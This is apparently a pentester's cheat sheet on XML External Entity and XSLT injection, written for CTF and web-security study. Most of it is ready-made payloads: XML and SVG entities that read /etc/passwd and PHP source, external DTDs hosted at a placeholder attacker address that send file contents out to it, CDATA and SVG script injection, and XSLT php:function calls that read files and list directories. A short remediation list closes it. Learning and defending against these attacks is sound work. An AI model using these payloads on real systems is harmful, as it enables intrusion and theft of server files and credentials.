XML External Entity (XXE)

owasptop10 mustacchio xxe_injection web_attacks

An XML External Entity (XXE) is an attack exploiting XML parsers used by applications. We create a custom DTD doing something malicious.

  • Arbitrary file access (passwd, id_rsa, etc.)
  • Perform a DDoS attack (often patched in modern web servers)
  • Perform a SSRF attack
  • Perform a XSS attack

There are two kind of XXE

  • In-band: same channel to attack and fetch results
  • Out of Band/Blind: different channels to attack and fetch results

For instance, we define an entity called poc in the DTD that is defined by the string Hello, World!. A vulnerable XML parser will replace the anchor &poc; inside the root element with the string.

<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY poc "Hello, World!">]>
<root>&poc;</root>

⚠️ This is not the only PoC/sign of a possible XXE.

πŸ“š As a reminder, SVG are XML files too.


XXE XML Payloads

When using in-band XXE, inject the anchor in a tag that is displayed.

Stealing files

We can use the file:// protocol to read simple files.

<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
<root>&xxe;</root>

But it doesn't work when the file contains XML tags. We can use PHP wrappers to read PHP and non PHP files on a PHP web server.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">]>
<root>&xxe;</root>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]>
<root>&xxe;</root>

Alternatively, we can try to use CDATA, but due to some security protections in most XML parsers, you need to host the payload on your server to be allowed to merge XML parameter entities (%).

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY % dtd SYSTEM "http://YOUR_IP:PORT/xxe.dtd"> %dtd;]>
<root>&xxe;</root>

And expose the following XML at http://OUR_IP:PORT/xxe.dtd:

<!ENTITY % begin "<![CDATA[">
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % end "]]>">
<!ENTITY xxe "%begin;%file;%end;">

XSS attack

If the XML is displayed, you can try an XSS attack using CDATA.

<?xml version="1.0"?>
<root><![CDATA[<script>console.log('test')</script>]]></root>

Out of Band XSS

If we cannot see any output, we may first try to see if we can see error messages (missing/invalid tag, reference, etc.) or connect to our server.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY % dtd SYSTEM "http://YOUR_IP:PORT/xxe.dtd"> %dtd;]>
<root>&xxe;</root>

And expose the following XML at http://OUR_IP:PORT/xxe.dtd if you can see error messages:

<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">
%error;

Or expose the following XML at http://OUR_IP:PORT/xxe.dtd.

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/hosts">
<!ENTITY % oob "<!ENTITY &#x25; payload SYSTEM 'http://YOUR_IP:PORT/?payload=%file;'>">
%oob;
%payload;

πŸ“š We could also try DNS exfiltration (<payload>.example.com).


XXE SVG Payloads

Stealing files

We can use the file:// protocol to read simple files. For a SVG, we can use the following code (assuming attr is displayed):

<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg width="400" height="200" xmlns="http://www.w3.org/2000/svg">
<attr>&xxe;</attr>
</svg>

But it doesn't work when the file contains XML tags. We can use PHP wrappers to read PHP and non PHP files on a PHP web server.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<svg>&xxe;</svg>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<svg width="400" height="200" xmlns="http://www.w3.org/2000/svg">
<attr>&xxe;</attr>
</svg>

XSS attack

If the SVG is displayed, we may be able to perform a XSS attack.

<svg width="100" height="100" xmlns="http://www.w3.org/2000/svg">
    <script type="text/javascript">/* ... */</script>
</svg>

XSLT Transformations

server_side_attacks xslt_injection xslt_ssi xslt_code_execution

Transformations may be applied on the XML, usually when transforming XML documents into HTML, another XML document, or PDF. If the XSLT parser is vulnerable, we may be able to execute code.

An example of a base template for a PHP XSLT wrapper:

<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body>
<!-- add some payload here -->
</body>
</html>

While common PHP payloads are:

<xsl:value-of select="php:function('readfile','index.php')" />
<xsl:copy-of name="xxx" select="php:function('file_get_contents', 'index.php')">
<xsl:value-of select="php:function('opendir','.')"/>
<xsl:value-of select="php:function('readdir')"/>
<xsl:copy-of name="xxx" select="php:function('assert', '1==1')" />

πŸ“š Common XSLT parsers are: LibXSLT, Xalan, and Saxon.


πŸ‘» To-do πŸ‘»

Stuff that I found, but never read/used yet.

  • PUBLIC instead of SYSTEM?

Tools

Remediations

  • Disallow external DTDs
  • Disallow external entities
  • Disallow XML parameters entities
  • Disable XInclude
  • Disable Self Reference/Entity Loops